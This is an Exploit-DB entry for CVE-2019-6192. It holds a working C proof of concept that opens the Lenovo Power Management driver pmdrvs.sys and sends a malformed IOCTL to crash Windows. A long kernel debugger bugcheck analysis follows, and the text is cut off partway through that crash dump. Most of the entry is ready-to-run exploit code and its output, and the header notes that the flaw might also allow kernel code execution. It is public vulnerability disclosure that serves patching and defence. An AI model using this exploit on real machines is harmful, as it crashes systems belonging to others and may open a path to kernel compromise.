Exploit-DB #47771
Description: Lenovo Power Management Driver 1.67.17.48 - 'pmdrvs.sys' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-12-12
Author: Nassim Asrir

Exploit:
# Exploit Title: Lenovo Power Management Driver 1.67.17.48 - 'pmdrvs.sys' Denial of Service (PoC)
# Date: 2019-12-11
# Exploit Author: Nassim Asrir
# CVE: CVE-2019-6192
# Tested On: Windows 10(64bit) | ThinkPad T470p
# Vendor : https://www.lenovo.com/us/en/
# Ref : https://support.lenovo.com/us/fr/solutions/len-29334

# Description
# A vulnerability in pmdrvs.sys driver has been discovered in Lenovo Power Management Driver
# The vulnerability exists due to insuffiecient input buffer validation when the driver processes IOCTL codes
# Attackers can exploit this issue to cause a Denial of Service or possibly execute arbitrary code in kernel space.

# Exploit

#include <windows.h>
#include <stdio.h>
#include <conio.h>

int main(int argc, char **argv)
{
    HANDLE   hDevice;
    DWORD    bret;
    char     szDevice[] = "\\\\.\\pmdrvs";

    printf("--[ Lenovo Power Management Driver pmdrvs.sys Denial Of Service ]--\n");

    printf("Opening handle to driver..\n");
   
    if ((hDevice = CreateFileA(szDevice, GENERIC_READ | GENERIC_WRITE,0,0,OPEN_EXISTING,0,NULL)) != INVALID_HANDLE_VALUE)    {
        printf("Device %s succesfully opened!\n", szDevice);
        printf("\tHandle: %p\n", hDevice);
    }
    else
    {
        printf("Error: Error opening device %s\n", szDevice);
    }

    printf("\nPress any key to DoS..");
    _getch();

    bret = 0;
   
    if (!DeviceIoControl(hDevice, 0x80862013, (LPVOID)0xdeadbeef, 0x0, (LPVOID)0xdeadbeef, 0x0, &bret, NULL))
    {
        printf("DeviceIoControl Error - bytes returned %#x\n", bret);
    }

    CloseHandle(hDevice);
    return 0;
}


# RCA

2: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff80428bf109d, Address of the instruction which caused the bugcheck
Arg3: ffffc709dee8ec50, Address of the context record for the exception that caused the bugcheck
Arg4: [PII_REDACTED], zero.

FAULTING_IP:
pmdrvs+109d
fffff804`28bf109d 8b07            mov     eax,dword ptr [rdi]

CONTEXT:  ffffc709dee8ec50 -- (.cxr 0xffffc709dee8ec50)
rax=fffff80428bf5020 rbx=ffffca04ca8f80a0 rcx=ffffc709dee8f6d8
rdx=ffffca04ca8f8170 rsi=ffffca04ca8f8170 rdi=[PII_REDACTED]
rip=fffff80428bf109d rsp=ffffc709dee8f640 rbp=ffffca04cc188290
 r8=[PII_REDACTED]00000e  r9=ffffca04c1ca8d40 r10=fffff80428bf5020
r11=ffffc709dee8f6b8 r12=[PII_REDACTED] r13=ffffca04c1ca8d40
r14=[PII_REDACTED] r15=[PII_REDACTED]
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
pmdrvs+0x109d:
fffff804`28bf109d 8b07            mov     eax,dword ptr [rdi] ds:002b:00000000`00000000=????????
Resetting default scope

CPU_COUNT: 8

CPU_MHZ: af8

CPU_VENDOR:  GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 9e

CPU_STEPPING: 9

CPU_MICROCODE: 0,0,0,0 (F,M,S,R)  SIG: 8E'00000000 (cache) 0'00000000 (init)

BLACKBOXBSD: 1 (!blackboxbsd)


BLACKBOXPNP: 1 (!blackboxpnp)


CURRENT_IRQL:  0

ANALYSIS_SESSION_HOST:  LAPTOP-SP

ANALYSIS_SESSION_TIME:  09-30-2019 20:29:54.0485

ANALYSIS_VERSION: 10.0.17763.132 amd64fre

LAST_CONTROL_TRANSFER:  from fffff80428bf5060 to fffff80428bf109d

STACK_TEXT: 
ffffc709`dee8f640 fffff804`28bf5060 : 00000000`00000000 ffff9980`05b00[PII_REDACTED]0`[PII_REDACTED]`00000000 : pmdrvs+0x109d
ffffc709`dee8f6c0 fffff804`1f12dba9 : ffffca04`ca8f80a0 fffff804`1f6d6224 ffffca04`cc51ff20 00000000`00000000 : pmdrvs+0x5060
ffffc709`dee8f6f0 fffff804`1f6abb11 : ffffc709`dee8fa80 ffffca04`ca8f80a0 00000000`00000001 ffffca04`cc188290 : nt!IofCallDriver+0x59
ffffc709`dee8f730 fffff804`1f6d763c : ffffca04`00000000 ffffca04`cc188290 ffffc709`dee8fa80 ffffc709`dee8fa80 : nt!NtQueryInformationFile+0x1071
ffffc709`dee8f7e0 fffff804`1f64c356 : 00007fff`2fd66[PII_REDACTED]0`[PII_REDACTED]`[PII_REDACTED]`00000000 : nt!NtClose+0xffc
ffffc709`dee8f920 fffff804`1f27a305 : 00000000`[PII_REDACTED]`[PII_REDACTED]`[PII_REDACTED]`00000000 : nt!NtDeviceIoControlFile+0x56
ffffc709`dee8f990 00007fff`33aaf844 : 00000000`[PII_REDACTED]`[PII_REDACTED]`[PII_REDACTED]`00000000 : nt!setjmpex+0x7925
00000000`0068fcf8 00000000`00000000 : 00000000`[PII_REDACTED]`[PII_REDACTED]`[PII_REDACTED]`00000000 : 0x00007fff`33aaf844


THREAD_SHA1_HASH_MOD_FUNC:  fea423dc9c9c08c703f6d9d5b0d8f7062b0ece68

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  4653d18777ce51b05029c753677fc2c05d5811bb

THREAD_SHA1_HASH_MOD:  c2a3dbda00dbcf5ade[PII_REDACTED]a7349d5c580b

FOLLOWUP_IP:
pmdrvs+109d
fffff804`28bf109d 8b07            mov     eax,dword ptr [rdi]

FAULT_INSTR_CODE:  8941078b

SYMBOL_STACK_INDEX:  0

FOLLOWUP_NAME:  MachineOwner

STACK_COMMAND:  .cxr 0xffffc709dee8ec50 ; kb

BUGCHECK_STR:  2E8B5A19

EXCEPTION_CODE_STR:  2E8B5A19

EXCEPTION_STR:  WRONG_SYMBOLS

PROCESS_NAME:  ntoskrnl.wrong.symbols.exe

IMAGE_NAME:  ntoskrnl.wrong.symbols.exe

MODULE_NAME: nt_wrong_symbols

SYMBOL_NAME:  nt_wrong_symbols!2E8B5A19A70000

BUCKET_ID:  WRONG_SYMBOLS_X64_17763.1.amd64fre.rs5_release[PII_REDACTED]_TIMESTAMP_[PII_REDACTED]45

DEFAULT_BUCKET_ID:  WRONG_SYMBOLS_X64_17763.1.amd64fre.rs5_release[PII_REDACTED]_TIMESTAMP_[PII_REDACTED]45

PRIMARY_PROBLEM_CLASS:  WRONG_SYMBOLS

FAILURE_BUCKET_ID:  WRONG_SYMBOLS_X64_17763.1.amd64fre.rs5_release[PII_REDACTED]_TIMESTAMP_[PII_REDACTED]45_2E8B5A19_nt_wrong_symbols!2E8B5A19A70000

TARGET_TIME:  2019-09-30T19:27:36.000Z

OSBUILD:  17763

OSSERVI